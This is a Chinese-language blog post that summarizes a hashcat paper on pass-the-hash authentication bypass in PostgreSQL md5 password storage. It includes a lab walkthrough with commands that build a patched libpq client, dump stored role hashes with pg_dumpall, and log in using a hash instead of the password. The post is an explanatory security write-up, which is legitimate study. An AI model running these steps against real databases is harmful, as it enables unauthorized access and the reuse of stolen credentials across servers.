[翻译]PostgreSQL数据库服务器哈希传递攻击(摘要)
原文在此:https://hashcat.net/misc/postgres-pth/postgres-pth.pdf
原文内容摘要:
一、漏洞说明
PostgreSQL服务器默认使用以下函数来计算并存储用户的密码:
MD5($pass.$username)
1)服务器产生一个4字节的随机数R
2)服务器发送R给客户端
3)客户端计算F_c=H(H(P_c).R)
4)客户端发送F_c到服务器
5)服务器的系统表里已经保存了H(P_s)
6)服务器直接计算F_s=H(H(P_s).R)并比对F_s和F_c
问题就存在于第三步,虽然R是随机产生的,但是只要用户获得H(P_s),无需知道明文口令,直接计算出F_c发送到服务器即可通过认证。而实际上H(P_s)直接就保存在系统表里。所以只要获得了这段hash,就可以登录到服务器上。而且,如果其他的PostgreSQL服务器也使用了相同的用户名和口令,这段hash一样可以直接用于登录其他的PostgreSQL服务器。
另外,原文强调MD5加密方式是这个漏洞的关键。
二、漏洞测试
原文给了两个补丁,把这两个补丁其中之一打到PostgreSQL的源码上,编译一份新的客户端程序,即可支持hash登录。
下面我在自己的测试环境(kali 1.0.9,PostgreSQL 9.1)里对该漏洞进行测试:
1)先检查pg_hba.conf文件,确认服务器使用了md5对密码进行加密:
cat /etc/postgresql/9.1/main/pg_hba.conf
2)下载PostgreSQL源码,由于要用git打补丁,所以按照原文的说明,git clone一下。当然,也可以直接下载官网上最新的源码包,但是可能需要手动打补丁。
git clone git://git.postgresql.org/git/postgresql.git
cd postgresql
git reset --hard ee4ddcb38a0abfdb8f7302bbc332a1cb92888ed1
wget https://hashcat.net/misc/postgres-pth/postgresql_diff_clean.txt
git apply postgresql_diff_clean.txt
./configure
make
5)先获取服务器上的hash,kali里面已经有一个msf3的用户了,直接获取其hash即可
sudo -u postgres -i
pg_dumpall -r|grep md5
这里就是md5cf036f9abf7249aeea34894c16359aaf
6)找到编译好的psql文件
cd src/bin/psql
./psql -V
已经是9.5的了,根据postgresql_diff_clean.txt可知,原文作者主要是修改了libpq的代码,所以这里还要将libpq.so.5暂时指向刚才编译生成的新文件上
先查看当前引用的位置
cp ../../interfaces/libpq/libpq.so.5.8 /usr/lib
cd /usr/lib
ln -fs libpq.so.5.8 libpq.so.5
已经让libpq.so.5指向新生成的文件了
7)回到刚才PostgreSQL编译后生成的文件目录,用刚才抓到的hash登录数据库服务器
登录成功。用另外一个账户也测试一下:
也是可以的。
到这里就测试结束了。把刚才的libpq.so.5还原一下:
cd /usr/lib
ln -fs libpq.so.5.4 libpq.so.5
三、小结
根据上面的分析可知,这个漏洞主要跟PostgreSQL的服务端有关,只要是版本低于9.5并且使用了md5方式对用户口令进行存储的服务器,都可以用hash传递的方式绕过登录验证。推测其他操作系统下的PostgreSQL也同样会受到影响。
不知道PostgreSQL能否像MySQL那样,利用低权限用户以读文件的方式读取数据库文件,因为PostgreSQL只有superuser可以访问pg_shadow表以及使用读文件的相关函数,所以目前来看,这个漏洞最大的用处就是利用已经获得的hash去测试其他的PostgreSQL服务器,类似口令暴破吧,只不过可以在不知道口令明文的情况下进行暴破。
评论1次
感觉有些鸡肋的洞,一般都是限制为127.0.0.1登录吧